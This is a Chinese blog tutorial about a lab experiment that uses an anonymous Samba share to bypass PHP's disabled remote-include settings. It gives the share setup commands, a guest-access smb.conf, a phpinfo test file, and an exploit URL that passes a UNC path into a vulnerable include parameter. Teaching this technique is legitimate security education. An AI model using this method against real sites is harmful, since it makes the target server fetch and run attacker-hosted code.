【网络安全】利用samba服务绕过未开启文件包含配置

简介: 利用samba服务绕过未开启文件包含配置

 

博主昵称:跳楼梯企鹅
创作初心:本博客的初心为与技术朋友们相互交流,每个人的技术都存在短板,博主也是一样,虚心求教,希望各位技术友给予指导。
博主座右铭:发现光,追随光,成为光,散发光;
博主研究方向:渗透测试、机器学习 ;
博主寄语:感谢各位技术友的支持,您的支持就是我前进的动力 ;

图片.pngimage.gif

一、什么是smb服务?

SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统说白了就是文件共享

图片.png

二、实验开始

利用samba服务来绕过include没有开启两个配置的限制,实操截图

1.打开kail

image.gif图片.png

2.远程访问测试

这里很明显,无法包含,那么怎么就要用到其他方式

image.gif图片.png

3.打开apache2服务

image.gif图片.png

4.下载samba服务

图片.png

如果显示下图,说明安装成功

image.gif图片.png

5.创建一个共享文件

命令:mkdir pub

image.gif图片.png

6.给文件夹赋予权限

命令:chmod 0555 pub

命令:chown -R nobody:nogroup pub

image.gif图片.png

7.清空配置文件

代码:echo > /etc/samba/smb.conf

image.gif图片.png

8.编译samba服务

内容:

[global]

workgroup = WORKGROUP      

server string = Samba Server %v

netbios name = indishell-lab

security = user

map to guest = bad user

name resolve order = bcast host

dns proxy = no

bind interfaces only = yes

[ica]

path = /var/www/html/pub

writable = no

guest ok = yes

guest only = yes

read only = yes

directory mode = 0555

上面内容为匿名访问,也就是说不用账号密码就可以进行访问

image.gif图片.png

9.重启samba

命令:service smbd restart

image.gif图片.png

Windows下打开cmd 测试

image.gif图片.png

成功之后显示

image.gif图片.png

10.分析

这里ica文件对应的其实就是kail系统上的pub文件

image.gif图片.png

11.在pub文件下创建一个phpinfo文件

代码:vi phpinfo.txt

内部输入:<?php phpinfo();?>

image.gif图片.png

12.我们来看下文件ica文件内是不是更新了

image.gif图片.png

发现确实是更新了

13.开始利用

Url:http://127.0.0.1/shine/a.php?b=//虚拟机ip/ica/phpinfo.txt

image.gif图片.png

发现可以不开启远程文件包含的文件,也是可以通过samba服务进行远程文件包含

相关文章
|
5天前
|
Java
java网络编程 UDP通信协议实现局域网内文件的发送和接收
java网络编程 UDP通信协议实现局域网内文件的发送和接收
java网络编程 UDP通信协议实现局域网内文件的发送和接收
|
4天前
|
网络协议 网络架构
【网络工程师配置篇】BGP联盟配置案例及分析(超级干货)
【网络工程师配置篇】BGP联盟配置案例及分析(超级干货)
|
4天前
|
传感器 安全 物联网
Gateway基本配置:打开网络之门
Gateway基本配置:打开网络之门
|
4天前
|
网络协议 网络架构
【网络工程师配置篇】VRRP与BFD联动配置案例
【网络工程师配置篇】VRRP与BFD联动配置案例
|
15天前
|
存储 Ubuntu Linux
NFS服务部署全攻略:从零到一,轻松驾驭网络文件系统,让你的文件共享像飞一样畅快无阻!
【8月更文挑战第5天】NFS(网络文件系统)能让网络中的电脑无缝共享文件与目录。基于客户端-服务器模式,用户可像访问本地文件般透明操作远程文件。部署前需准备至少两台Linux机器:一台服务器,其余作客户端;确保已装NFS相关软件包且网络通畅。服务器端安装NFS服务与rpcbind,客户端安装nfs-utils。
37 4
|
1天前
|
网络协议 网络性能优化 UED
|
4天前
|
网络协议 网络架构
网络工程师如何配置6to4隧道解决IPv6过渡问题(含动图)?
网络工程师如何配置6to4隧道解决IPv6过渡问题(含动图)?
|
5天前
|
Shell 网络安全 Python
网络工程师如何在ensp模拟器上玩python自动化配置交换机。
网络工程师如何在ensp模拟器上玩python自动化配置交换机。
|
5天前
|
网络协议 安全 网络安全
网络工程师如何在EVE模拟器用思科路由器配置GRE Over IPsec ?
网络工程师如何在EVE模拟器用思科路由器配置GRE Over IPsec ?
|
5天前
|
网络虚拟化 数据安全/隐私保护
手把手教网络工程师2种方法如何恢复交换机配置
手把手教网络工程师2种方法如何恢复交换机配置